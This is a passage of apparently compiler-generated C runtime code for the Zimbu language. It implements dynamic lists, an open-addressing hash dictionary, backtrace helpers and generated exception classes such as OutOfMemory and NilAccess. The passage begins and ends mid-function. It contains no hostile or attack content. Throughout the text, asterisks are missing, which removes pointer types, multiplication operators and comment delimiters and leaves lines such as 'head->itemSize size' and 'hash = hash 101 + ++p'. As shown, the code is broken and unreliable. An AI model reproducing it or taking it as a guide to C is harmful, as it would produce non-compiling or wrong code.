bytes * size); } else head->ptr = ZranOff(head->ptr, bytes * head->size[0], bytes * size); head->size[0] = size; return head; } Ti ZListFindIdx(Tl head, Ti idx) { if (head == NULL) ZthrowCstringNil("Accessing NIL list"); if (idx < 0) { Ti n = head->itemCount + idx; if (n < 0) return n; return n + head->empty; } if (idx >= head->itemCount) return -1; return idx + head->empty; } void ZListSetType(Tl head, Tt itemType) { head->itemType = itemType; if (itemType == NULL) ZthrowCstringNil("Creating list without type"); switch (itemType->nr) { case 0: case 10: case 80: case 82: case 83: case 24: case 25: head->itemSize = 8; break; case 1: case 11: head->itemSize = 1; break; case 12: case 2: head->itemSize = 2; break; case 3: case 13: case 81: head->itemSize = 4; break; case 21: case 22: case 23: head->itemSize = sizeof(int); break; case 391: head->itemSize = sizeof(Tr); break; default: head->itemSize = sizeof(void); break; } } Tl ZnewList(Tt itemType, Ti size) { int alloc = size > ((itemType->nr == 1 \|\| itemType->nr == 11) ? 64 : 8); int extraSize = itemType != NULL && itemType->nr == 391 ? 8 * sizeof(Tr) : 64; Tl head = Za(sizeof(Tl) + (alloc ? 0 : extraSize)); ZListSetType(head, itemType); if (alloc) { head->items = ZaOff(head->itemSize size); head->space = size; } else { head->items = (void*)(head + 1); head->space = extraSize / head->itemSize; } return head; } void ZListGrow(Tl head, Ti count) { Ti newsize = head->empty + head->itemCount + count; if (newsize <= head->space) return; if (newsize < 100) { newsize += (newsize >> 2) + 7; } else { newsize += newsize >> 3; } if (head->items == (void*)(head + 1)) { head->items = ZaOff(head->itemSize newsize); memmove(head->items, head + 1, head->itemSize * head->itemCount); } else { head->items = ZranOff(head->items, head->itemSize * head->space, head->itemSize * newsize); } head->space = newsize; } Tl ZLa(Tl head, Ti after, Tz val) { Ti nAfter; Ti idx; Ti len; if (head == NULL) ZthrowCstringNil("Attempt to append to NIL list"); ZListGrow(head, 1); if (after < 0) { nAfter = head->itemCount + after; if (nAfter < 0) nAfter = -1; } else { nAfter = after; if (nAfter >= head->itemCount) nAfter = head->itemCount - 1; } idx = nAfter + head->empty + 1; len = head->itemCount - nAfter - 1; switch (head->itemType->nr) { case 0: case 10: case 24: case 25: if (len > 0 && idx >= head->empty) memmove(((Ti)head->items) + idx + 1, ((Ti)head->items) + idx, head->itemSize * len); ((Ti)head->items)[idx] = val.ival; break; case 1: case 11: if (len > 0 && idx >= head->empty) memmove(((char)head->items) + idx + 1, ((char)head->items) + idx, head->itemSize len); ((char)head->items)[idx] = val.ival; break; case 12: case 2: if (len > 0 && idx >= head->empty) memmove(((Ti16)head->items) + idx + 1, ((Ti16)head->items) + idx, head->itemSize len); ((Ti16)head->items)[idx] = val.ival; break; case 3: case 13: if (len > 0 && idx >= head->empty) memmove(((Ti32)head->items) + idx + 1, ((Ti32)head->items) + idx, head->itemSize len); ((Ti32)head->items)[idx] = val.ival; break; case 21: case 22: case 23: if (len > 0 && idx >= head->empty) memmove(((int)head->items) + idx + 1, ((int)head->items) + idx, head->itemSize len); ((int)head->items)[idx] = val.ival; break; case 80: case 82: case 83: if (len > 0 && idx >= head->empty) memmove(((Tf)head->items) + idx + 1, ((Tf)head->items) + idx, head->itemSize len); ((Tf)head->items)[idx] = val.fval; break; case 81: if (len > 0 && idx >= head->empty) memmove(((Tf32)head->items) + idx + 1, ((Tf32)head->items) + idx, head->itemSize len); ((Tf32)head->items)[idx] = val.fval; break; default: if (len > 0 && idx >= head->empty) memmove(head->items + idx + 1, head->items + idx, head->itemSize len); head->items[idx] = val.ptr; break; } ++head->itemCount; return head; } Tl ZLap(Tl head, Tz val) { return ZLa(head, -1, val); } Tl ZLaIobj(Tl head, Ti after, Tr val) { Ti nAfter; Ti idx; Ti len; if (head == NULL) ZthrowCstringNil("Attempt to append to NIL list"); ZListGrow(head, 1); if (after < 0) { nAfter = head->itemCount + after; if (nAfter < 0) nAfter = -1; } else { nAfter = after; if (nAfter >= head->itemCount) nAfter = head->itemCount - 1; } idx = nAfter + head->empty + 1; len = head->itemCount - nAfter - 1; if (len > 0 && idx >= head->empty) memmove((Tr)head->items + idx + 1, (Tr)head->items + idx, head->itemSize * len); ((Tr)head->items)[idx] = val; ++head->itemCount; return head; } Tl ZLapIobj(Tl head, Tr val) { return ZLaIobj(head, -1, val); } Ti ZListGetInt(Tl head, Ti idx) { Ti r; Ti n = ZListFindIdx(head, idx); if (n >= 0) { switch (head->itemType->nr) { case 0: case 24: case 25: r = ((Ti)head->items)[n]; break; case 10: r = (Ti)((Tu)head->items)[n]; break; case 1: r = ((char)head->items)[n]; break; case 11: r = (Ti)((Tc)head->items)[n]; break; case 2: r = ((Ti16)head->items)[n]; break; case 12: r = (Ti)((Tu16)head->items)[n]; break; case 3: r = ((Ti32)head->items)[n]; break; case 13: r = (Ti)((Tu32)head->items)[n]; break; case 21: case 22: case 23: r = ((int)head->items)[n]; break; } } else r = 0; return r; } Tf ZListGetFloat(Tl head, Ti idx) { Tf r; Ti n = ZListFindIdx(head, idx); if (n >= 0) { switch (head->itemType->nr) { case 80: case 82: case 83: r = ((Tf)head->items)[n]; break; case 81: r = (Tf)((Tf32)head->items)[n]; break; } } else r = 0; return r; } int ZforListPtrCont(Tfl tfl) { Tl l = tfl->l; Ti i = tfl->i; if (l == NULL \|\| i >= l->itemCount) return 0; (char)tfl->valp = l->items[i + l->empty]; ++tfl->i; return 1; } int ZDeqNr(Tz l, Tz r) { return l->ival == r->ival; } int ZDeqFloat(Tz l, Tz r) { return l->fval == r->fval; } int ZDeqStr(Tz l, Tz r) { Tc p1; Tc p2; Ti len1; Ti len2; if (r->ptr != NULL) { len1 = ZstringSizePtr(l->ptr, &p1); len2 = ZstringSizePtr(r->ptr, &p2); if (len1 == len2) return memcmp(p1, p2, len1) == 0; } return 0; } int ZDeqRef(Tz l, Tz r) { return l->ptr == r->ptr; } int ZDeqIobj(Tr l, Tz r) { return l->ptr == ((Tr)r->ptr)->ptr; } Td ZDictHead(Td d, Tt keyType, Tt itemType, Tb ordered) { d->array = d->smallArray; d->mask = HT_INIT_SIZE - 1; d->keyType = keyType; d->itemType = itemType; if (itemType == NULL) ZthrowCstringNil("Creating dict without item type"); if (keyType == NULL) ZthrowCstringNil("Creating dict without key type"); if (ordered) d->type = DTYPE_ORDERED; if (keyType->nr < 80) d->eqfunc = (int ()(void, Tz))ZDeqNr; else if (keyType->nr < 100) d->eqfunc = (int ()(void, Tz))ZDeqFloat; else if (keyType == &iobj__T) d->eqfunc = (int ()(void, Tz))ZDeqIobj; else if (keyType == &string__T \|\| keyType == &byteString__T) d->eqfunc = (int ()(void, Tz))ZDeqStr; else d->eqfunc = (int ()(void, Tz))ZDeqRef; return d; } Td ZDictInit(Td d, Tt keyType, Tt itemType, Tb ordered) { memset(d, 0, sizeof(Td)); ZDictHead(d, keyType, itemType, ordered); return d; } Td ZnewDict(Tt keyType, Tt itemType, Tb ordered) { return ZDictHead(Za(sizeof(Td)), keyType, itemType, ordered); } Zhashtype ZDictHash(Tt keyType, Tz key) { Zhashtype hash; void ptr; if (keyType->nr < 80) return (Zhashtype)key.ival; if (keyType->nr < 100) return (Zhashtype)key.fval; if (keyType == &iobj__T) { ptr = ((Tr)key.ptr)->ptr; } else { ptr = key.ptr; } if (ptr == NULL) ZthrowCstringNil("dict key is NIL"); if (keyType == &string__T \|\| keyType == &byteString__T) { Tc p; int l = ZstringSizePtr(key.ptr, &p); if (l == 0) { hash = 0; } else { hash = p; while (--l > 0) { hash = hash 101 + ++p; } } } else { Tip k = (Tip)ptr; int l = sizeof(Tc); hash = k & 0xff; while (--l > 0) { k >>= 8; hash = hash * 101 + (k & 0xff); } } return hash; } void ZthrowIntKeyNotFound(Tz key, Tc msg) { Yxmk(key.ival, msg); } void ZthrowStringKeyNotFound(Tz key, Tc msg) { Y5LT(key.ptr, msg); } void ZthrowIntKeyExists(Tz key, Tc msg) { YL9Z(key.ival, msg); } void ZthrowStringKeyExists(Tz key, Tc msg) { YEeX(key.ptr, msg); } /* #define DICT_DEBUG 1 / CDictItem ZDictLookup(Td d, Tz key, Zhashtype hash) { Zhashtype perturb; CDictItem freeitem; int idx = (int)(hash & d->mask); CDictItem di = &d->array[idx]; if (di->flags == 0) return di; if (di->flags == CDI_FLAG_DEL) freeitem = di; else if (di->hash == hash && d->keyType == &iobj__T ? d->eqfunc(&di->iokey, &key) : d->eqfunc(&di->key, &key)) { return di; } else { freeitem = NULL; } for (perturb = hash; ; perturb >>= PERTURB_SHIFT) { idx = (int)((idx << 2) + idx + perturb + 1); di = &d->array[idx & d->mask]; if (di->flags == 0) return freeitem == NULL ? di : freeitem; if (di->hash == hash && di->flags != CDI_FLAG_DEL && d->keyType == &iobj__T ? d->eqfunc(&di->iokey, &key) : d->eqfunc(&di->key, &key)) return di; if (di->flags == CDI_FLAG_DEL && freeitem == NULL) freeitem = di; } } void ZDictResize(Td d, int minitems) { CDictItem temparray[HT_INIT_SIZE]; CDictItem oldarray, newarray; CDictItem olditem, newitem, nextitem; int newi; int todo; Zhashtype oldsize, newsize; Zhashtype minsize; Zhashtype newmask; Zhashtype perturb; #ifdef DICT_DEBUG printf("size: %lu, filled: %lu, used: %lu\n", d->mask + 1, d->filled, d->used); #endif if (minitems == 0) { if (d->filled < HT_INIT_SIZE - 1 && d->array == d->smallArray) { #ifdef DICT_DEBUG printf("small array not full\n"); #endif return; } oldsize = d->mask + 1; if (d->filled 3 < oldsize * 2 && d->used > oldsize / 5) { #ifdef DICT_DEBUG printf("size OK\n"); #endif return; } if (d->used > 1000) minsize = d->used * 2; else minsize = d->used * 4; } else { if ((Zhashtype)minitems < d->used) minitems = (int)d->used; minsize = minitems * 3 / 2; } newsize = HT_INIT_SIZE; while (newsize < minsize) { newsize <<= 1; if (newsize == 0) { ZthrowInternal(Zstr("ZDictResize")); return; } } #ifdef DICT_DEBUG printf("resizing from %lu to %lu\n", d->mask + 1, newsize); #endif if (newsize == HT_INIT_SIZE) { newarray = d->smallArray; if (d->array == newarray) { memmove(temparray, newarray, sizeof(temparray)); oldarray = temparray; } else oldarray = d->array; memset(newarray, 0, (size_t)(sizeof(CDictItem) * newsize)); } else { newarray = (CDictItem )ZaOff((sizeof(CDictItem) newsize)); oldarray = d->array; } newmask = newsize - 1; todo = (int)d->used; for (olditem = oldarray; todo > 0; ++olditem) if (olditem->flags & CDI_FLAG_USED) { newi = (int)(olditem->hash & newmask); newitem = &newarray[newi]; if (newitem->flags != 0) for (perturb = olditem->hash; ; perturb >>= PERTURB_SHIFT) { newi = (int)((newi << 2) + newi + perturb + 1); newitem = &newarray[newi & newmask]; if (newitem->flags == 0) break; } newitem = olditem; if (d->type & DTYPE_ORDERED) { olditem->lprev = newitem; } --todo; } if ((d->type & DTYPE_ORDERED) && d->first) { olditem = d->first; newitem = olditem->lprev; newitem->lprev = NULL; d->first = newitem; while (olditem->lnext) { olditem = olditem->lnext; nextitem = olditem->lprev; newitem->lnext = nextitem; newitem->lnext->lprev = newitem; newitem = nextitem; } newitem->lnext = NULL; d->last = newitem; } if (d->array != d->smallArray) Zfree((void)d->array - ZOH_OFF); d->array = newarray; d->mask = newmask; d->filled = d->used; } / "ow" is the overwrite flag. When zero it's not allowed to overwrite an * existing entry. / Td ZDictAdd(int ow, Td d, Tz key, Tz value) { Zhashtype hash = ZDictHash(d->keyType, key); CDictItem di = ZDictLookup(d, key, hash); #ifdef DICT_DEBUG if (d->keyType->nr >= 100) printf("Adding item %s\n", (Tc)key.ptr); else printf("Adding item %lld\n", key.ival); if (key.ptr != NULL && (strcmp(key.ptr, "ENUM") == 0 \|\| strcmp(key.ptr, "Equal") == 0 \|\| strcmp(key.ptr, "EXIT") == 0)) dumpdict(d); #endif if (di->flags == 0 \|\| di->flags == CDI_FLAG_DEL \|\| ow) { if (di->flags == 0 \|\| di->flags == CDI_FLAG_DEL) { ++d->used; if (di->flags == 0) ++d->filled; } di->hash = hash; if (d->keyType->nr == 391) { di->iokey = (Tr)key.ptr; } else if (d->keyType->nr >= 100) { if (di->flags == 0 \|\| di->flags == CDI_FLAG_DEL) { di->key = key; } } else di->key = key; if (d->itemType->nr == 391) di->ioitem = (Tr)value.ptr; else di->item = value; di->flags = CDI_FLAG_USED; if (d->type & DTYPE_ORDERED) { di->lprev = d->last; if (d->last) d->last->lnext = di; else d->first = di; d->last = di; di->lnext = NULL; } ZDictResize(d, 0); } else { if (d->keyType->nr >= 100) ZthrowStringKeyExists(key, Zstr("dict.add(): ")); ZthrowIntKeyExists(key, Zstr("dict.add(): ")); } return d; } Td ZDictAddIobjTz(int ow, Td d, Tr key, Tz value) { return ZDictAdd(ow, d, (Tz)(void)&key, value); } Td ZDictAddTzIobj(int ow, Td d, Tz key, Tr value) { return ZDictAdd(ow, d, key, (Tz)(void)&value); } Td ZDictAddIobjIobj(int ow, Td d, Tr key, Tr value) { return ZDictAdd(ow, d, (Tz)(void)&key, (Tz)(void)&value); } #ifdef DICT_DEBUG dumpdict(Td d) { int todo = (int)d->used; CDictItem item; int idx = 0; for (item = d->array; todo > 0; ++item) { if (item->flags & CDI_FLAG_USED) { printf("%2d: %s\n", idx, (Tc)item->key.ptr); --todo; } else if (item->flags == 0) { printf("%2d: unused\n", idx); } else if (item->flags == CDI_FLAG_DEL) { printf("%2d: deleted\n", idx); } else { printf("%2d: invalid flags: %d\n", idx, item->flags); } ++idx; } } #endif CDictItem ZDictFind(Td d, Tz key) { Zhashtype hash = ZDictHash(d->keyType, key); CDictItem di = ZDictLookup(d, key, hash); if (di->flags & CDI_FLAG_USED) return di; return NULL; } Ti ZDictGetInt(Td d, Tz key) { CDictItem di = ZDictFind(d, key); if (di != NULL) { return di->item.ival; } if (d->keyType->nr >= 100) ZthrowStringKeyNotFound(key, Zstr("")); ZthrowIntKeyNotFound(key, Zstr("")); return 0; } Tcode ZtableIndex(Ti pos100) { Ti pos = pos100 / 100; int l = 0; int h = sizeof(ZcodeTable)/sizeof(Tcode) - 1; int m; while (l <= h) { m = (l + h) / 2; if (ZcodeTable[m].offset == pos) break; if (ZcodeTable[m].offset < pos) l = m + 1; else h = m - 1; } return &ZcodeTable[m]; } YkxB MZ__callerPos(void) { Tcode p; Zsf tf = topFrame; if (tf == NULL) return NULL; tf = tf->prev == NULL ? tf : tf->prev; while (1) { if (tf == NULL) return NULL; if (tf->pos & POS_MASK) { p = ZtableIndex(tf->pos & POS_MASK); if (p->fileName) { return MZ__posnr2pos(NULL, tf->pos & POS_MASK); } } tf = tf->prev; } } Tl MZ__backtrace(Ti skip, Ti limit) { Tl head = ZnewList((Tt)&YkxB__T, 0); int done = 0; Zsf tf = topFrame; if (skip > 0) { int i; for (i = 0; i < skip && tf != NULL; ++i) tf = tf->prev; } while (tf != NULL) { if (tf->pos & POS_MASK) { YkxB item = Za(sizeof(YkxB)); if (limit >= 0 && done >= limit) { item->Vfilename = Zstr("truncated"); ZLa(head, -1, (Tz)(void)item); break; } MZ__posnr2pos(item, tf->pos & POS_MASK); ZLa(head, -1, (Tz)(void)item); ++done; } tf = tf->prev; } return head; } YkxB MZ__posnr2pos(YkxB t, Ti pos) { int i; Tcode p; Tcpos pp; if (t == NULL) t = Za(sizeof(YkxB)); p = ZtableIndex(pos); i = pos - p->offset * 100; pp = &p->table[i]; t->Vfilename = Zstr((char)p->fileName); t->Vtext = Zstr((char)p->methodName); t->Vlnum = pp->line; if (i) t->Vlnum += p->table[0].line; t->Vcol = pp->col; return t; } /* * FUNCTION BODIES / / including EModule bodies / void YxaJ(Ytlm t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4918300; ZthrowThisNil(); } sf.pos=4918301; if ((t->Vpos != NULL)) { sf.pos=4918302; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=4918303; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=4918304; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=4918305; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=4918306; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=4918307; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } void YxaJa(Ytlm t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3649100; ZthrowThisNil(); } sf.pos=3649101; YxaJ(t, Aw); sf.pos=3649102; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=3649103; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=3649104; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=3649105; if ((Vpos->Vfilename == NULL)) { sf.pos=3649106; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=3649107; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=3649108; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=3649109; if ((Vpos->Vtext != NULL)) { sf.pos=3649110; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=3649111; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=3649112; } } } topFrame = sf.prev; return; } To ToYtlm[] = { {3, 0}, {0, (Tt)&string__T}, / message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto Ytlm__T = {390, (Tc)&YDGe, 0, ToYtlm}; void YXHSa(YEro t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9216300; ZthrowThisNil(); } sf.pos=9216301; if ((t->Vpos != NULL)) { sf.pos=9216302; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=9216303; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=9216304; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YxJ1)); sf.pos=9216305; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Zint2string(t->Vvalue)); sf.pos=9216306; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=9216307; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=9216308; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } topFrame = sf.prev; return; } void YEro__YxaJa(YEro t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4298300; ZthrowThisNil(); } sf.pos=4298301; YXHSa(t, Aw); sf.pos=4298302; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=4298303; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=4298304; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=4298305; if ((Vpos->Vfilename == NULL)) { sf.pos=4298306; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=4298307; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=4298308; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=4298309; if ((Vpos->Vtext != NULL)) { sf.pos=4298310; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=4298311; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=4298312; } } } topFrame = sf.prev; return; } To ToYEro[] = { {3, 0}, {0, (Tt)&string__T}, / message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YEro__T = {390, (Tc)&YJMo, 0, ToYEro}; YKhn YDNob(YKhn t, Ti Asize, Ti Alimit) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=8064400; t = Za(sizeof(YKhn));} sf.pos=8064401; t->Vmessage = ZcS3(((Tc)&YIBz), Zint2string(Asize), ((Tc)&YDSH)); sf.pos=8064402; t->Vpos = MZ__callerPos(); sf.pos=8064403; t->Vbacktrace = (sf.pos=8064404, MZ__backtrace(1, Alimit)); topFrame = sf.prev; return t; } void YKhn__YwtA__YxaJa(YKhn t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1121700; ZthrowThisNil(); } sf.pos=1121701; YKhn__YwtA__YxaJ(t, Aw); sf.pos=1121702; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=1121703; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=1121704; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=1121705; if ((Vpos->Vfilename == NULL)) { sf.pos=1121706; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=1121707; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=1121708; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=1121709; if ((Vpos->Vtext != NULL)) { sf.pos=1121710; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=1121711; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=1121712; } } } topFrame = sf.prev; return; } void YKhn__YwtA__YxaJ(YKhn t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2141800; ZthrowThisNil(); } sf.pos=2141801; if ((t->Vpos != NULL)) { sf.pos=2141802; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=2141803; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=2141804; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=2141805; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=2141806; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=2141807; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc YKhn__Ytlm_I_imt[] = { (Tc)&YKhn__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, / MEModule__COutOfMemory.NEW - YKhn__YwtA__YRHRa / (Tc)0, /* MEModule__COutOfMemory.NEW - YKhn__YwtA__YRHR / (Tc)0, /* MEModule__COutOfMemory.ToString - YKhn__YwtA__YH0V / (Tc)YKhn__YwtA__YxaJa, /* MEModule__COutOfMemory.writeTo - YKhn__YwtA__YxaJa / (Tc)YKhn__YwtA__YxaJ, /* MEModule__COutOfMemory.writeTo - YKhn__YwtA__YxaJ / (Tc)0, /* MEModule__COutOfMemory.toString - YKhn__YwtA__Yoww / (Tc)0, /* MEModule__COutOfMemory.getMessage - YKhn__YwtA__YCzX / (Tc)0, /* MEModule__COutOfMemory.getPos - YKhn__YwtA__YvCK / (Tc)0, /* MEModule__COutOfMemory.getBacktrace - YKhn__YwtA__Y4bq / (Tc)0, /* Init - YKhna / }; To ToYKhn[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YKhn__T = {390, (Tc)&Y9Fv, 0, ToYKhn}; void Y1KV(Ti Asize) { Tr ex; Tr t0 = {NULL}; Znao(&ex, YDNob(NULL, Asize, 30), YKhn__Ytlm_I_imt, 4); ZthrowIobject(ex); } Y1uN Y1uN__YwtA__YRHR(Y1uN t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=3208600; t = Za(sizeof(Y1uN));} sf.pos=3208601; t->Vmessage = Amsg; sf.pos=3208602; t->Vpos = MZ__callerPos(); sf.pos=3208603; t->Vbacktrace = (sf.pos=3208604, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void Y1uN__YwtA__YxaJa(Y1uN t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3508800; ZthrowThisNil(); } sf.pos=3508801; Y1uN__YwtA__YxaJ(t, Aw); sf.pos=3508802; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=3508803; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=3508804; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=3508805; if ((Vpos->Vfilename == NULL)) { sf.pos=3508806; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=3508807; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=3508808; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=3508809; if ((Vpos->Vtext != NULL)) { sf.pos=3508810; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=3508811; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=3508812; } } } topFrame = sf.prev; return; } void Y1uN__YwtA__YxaJ(Y1uN t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4528900; ZthrowThisNil(); } sf.pos=4528901; if ((t->Vpos != NULL)) { sf.pos=4528902; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=4528903; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=4528904; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=4528905; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=4528906; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=4528907; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc Y1uN__Ytlm_I_imt[] = { (Tc)&Y1uN__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, / MEModule__CNilAccess.NEW - Y1uN__YwtA__YRHRa / (Tc)Y1uN__YwtA__YRHR, /* MEModule__CNilAccess.NEW - Y1uN__YwtA__YRHR / (Tc)0, /* MEModule__CNilAccess.ToString - Y1uN__YwtA__YH0V / (Tc)Y1uN__YwtA__YxaJa, /* MEModule__CNilAccess.writeTo - Y1uN__YwtA__YxaJa / (Tc)Y1uN__YwtA__YxaJ, /* MEModule__CNilAccess.writeTo - Y1uN__YwtA__YxaJ / (Tc)0, /* MEModule__CNilAccess.toString - Y1uN__YwtA__Yoww / (Tc)0, /* MEModule__CNilAccess.getMessage - Y1uN__YwtA__YCzX / (Tc)0, /* MEModule__CNilAccess.getPos - Y1uN__YwtA__YvCK / (Tc)0, /* MEModule__CNilAccess.getBacktrace - Y1uN__YwtA__Y4bq / (Tc)0, /* Init - Y1uNa / }; To ToY1uN[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto Y1uN__T = {390, (Tc)&Y4wO, 0, ToY1uN}; void YvdV(YkxB Apos, Tc Atext) { Tr ex; Y1uN Ve = 0; Tr t0 = {NULL}; Ve = Y1uN__YwtA__YRHR(NULL, Atext); if ((Apos != NULL)) { Ve->Vpos = Apos; } Znao(&ex, Ve, Y1uN__Ytlm_I_imt, 5); ZthrowIobject(ex); } YAxe YAxe__YwtA__YRHR(YAxe t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=7358000; t = Za(sizeof(YAxe));} sf.pos=7358001; t->Vmessage = Amsg; sf.pos=7358002; t->Vpos = MZ__callerPos(); sf.pos=7358003; t->Vbacktrace = (sf.pos=7358004, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YAxe__YwtA__YxaJa(YAxe t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; 